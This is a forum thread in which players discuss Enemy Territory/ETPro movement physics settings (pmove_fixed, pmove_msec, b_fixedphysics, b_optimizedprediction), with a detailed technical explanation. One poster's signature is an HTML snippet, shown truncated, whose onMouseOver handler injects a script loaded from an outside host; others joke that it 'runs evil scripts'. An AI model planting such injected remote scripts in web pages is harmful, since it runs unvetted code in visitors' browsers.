pmove_fixed and b_optimizedprediction

Discussion for ET Players

Moderators: Forum moderators, developers

Post Reply
ender-wiggin
Posts: 31
Joined: Mon Feb 02, 2004 8:02 pm

pmove_fixed and b_optimizedprediction

Post by ender-wiggin »

3.0.10
scoreboard ping stddev was broken on empty teams
intermission pings were silly
dont allow spectators to see spawntimes before joining a team
fixed some player movement bugs with b_optimizedprediction
primed grenades didnt have timer set properly when they were dropped upon being killed
333fps speedhack hopefully fixed
b_antiwarp fixes (make it more consistent with pmove_fixed, eliminate some fps dependencies)
What does pmovefixed do exactly? I believe it is a client cvar? which makes the player move faster?

What does b_optimizedprediction do? Is it server or client side?
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Re: pmove_fixed and b_optimizedprediction

Post by Rain »

ender-wiggin wrote:
3.0.10
scoreboard ping stddev was broken on empty teams
intermission pings were silly
dont allow spectators to see spawntimes before joining a team
fixed some player movement bugs with b_optimizedprediction
primed grenades didnt have timer set properly when they were dropped upon being killed
333fps speedhack hopefully fixed
b_antiwarp fixes (make it more consistent with pmove_fixed, eliminate some fps dependencies)
What does pmovefixed do exactly? I believe it is a client cvar? which makes the player move faster?

What does b_optimizedprediction do? Is it server or client side?
Since Quake 3, the function that's responsible for game physics (amongst other things) is named Pmove(). Normally, this function is run once every client frame, and this is where framerate-dependant physics (most notably jump heights) come from. pmove_fixed is an attempt to level the playing field by running this function at a fixed rate (every pmove_msec milliseconds.) The default pmove_msec of 8 is equivalent to normal physics at 1000 / 8 = 125 frames/second.

pmove_fixed can be set on either the client or the server--the client will default to the value on the server (and, on non-etpro servers, it'll be reset to the server's value quite frequently due to some silliness in the code.) pmove_msec can only be set on the server side.

b_fixedphysics (which you didn't specifically ask about, but is worth mentioning) is a server-side setting with similar goals to pmove_fixed. b_fixedphysics 1 avoids rounding the velocity at all (removing the framerate-dependent behavior in movement); however, it offers b_fixedphysicsfps to adjust the jump velocity to emulate the old framerate-dependent behavior. This is the best of both worlds—no movement speed problems (as several people observed at 333fps) nor any of the problems that pmove_fixed brings with it (some parts of the game behave poorly at high fps, most notably mounted MG42 and mortar aiming), but the same jump heights trickjumpers would kill us for taking away. :silly: b_fixedphysics 2 is a cross between normal behavior and fixed behavior, which effectively just caps the maximum framerate-dependent behavior to 166fps.

b_optimizedprediction is a client-side setting that (theoretically) has no effect other than increasing performance. Basically, etmain (and RTCW, and Q3) will re-do all the physics computations for up to the previous 64 frames in order to figure out where you should be for the current one. b_optimizedprediction will store the result of the previous computations and reuse them (if the results look acceptable based on the latest data the client has from the server) instead of doing all the math again. This provides a rather dramatic performance boost, especially if you have a high ping.

If one of the other people on the documentation team wants to reformat that a little and post it in the documentation forum, be my guest. ;)
Last edited by Rain on Sat Jul 03, 2004 9:24 pm, edited 1 time in total.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
ender-wiggin
Posts: 31
Joined: Mon Feb 02, 2004 8:02 pm

Post by ender-wiggin »

whoa! great reply. Thanks a lot. Nice sig too.
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

ender-wiggin wrote:Nice sig too.
his sig runs evil scripts
User avatar
SwERvE
Posts: 451
Joined: Tue Nov 12, 2002 11:38 pm
Location: my body is in Arizona but my mind has lost itself
Contact:

Post by SwERvE »

=FF=im2weak4u wrote:
ender-wiggin wrote:Nice sig too.
his sig runs evil scripts
The pictures give me nightmares :(
User avatar
WeblionX
Posts: 762
Joined: Sun Sep 08, 2002 1:03 pm
Contact:

Post by WeblionX »

I'll go make a post in documentation.
Edit: http://bani.anime.net/banimod/forums/vi ... php?t=4113
Got any old idtech3 tutorials you made or saved? Send them my way.
User avatar
deej
Posts: 743
Joined: Fri Mar 19, 2004 12:44 am
Location: Belgium!
Contact:

Post by deej »

Shameless bump, I know :roll:

Both b_optimizeprediction and b_optimizedprediction are present as cvars in the client. Since both are set to 1 there isn't any problem but still i'm curious: which one is the right one :-)?
Our servers now run on 64 bit steroids. Point your ET to:
- Forgotten Ground StopWatch Server with occasional wolfrof 1
- Fraggle Rock ETPub Server - Mix up ET/UT & Duke Nukem
FraUz
Posts: 33
Joined: Fri Jan 09, 2004 12:22 am
Location: Italy
Contact:

Post by FraUz »

deej wrote:which one is the right one :-)?
I'm still curious too :P
h4ks
Posts: 25
Joined: Sun Dec 14, 2003 4:37 pm

Post by h4ks »

i have +set fs_game etpro in my command line plus etpro 3.1.8 client, and if i type b_optimizedprediction it says unkown command. b_optimizeprediction, which i always had in my cfg, does exist and defaults to 1. so if there was 2 in etpro 3.1.0 now theres ony one ;).
Post Reply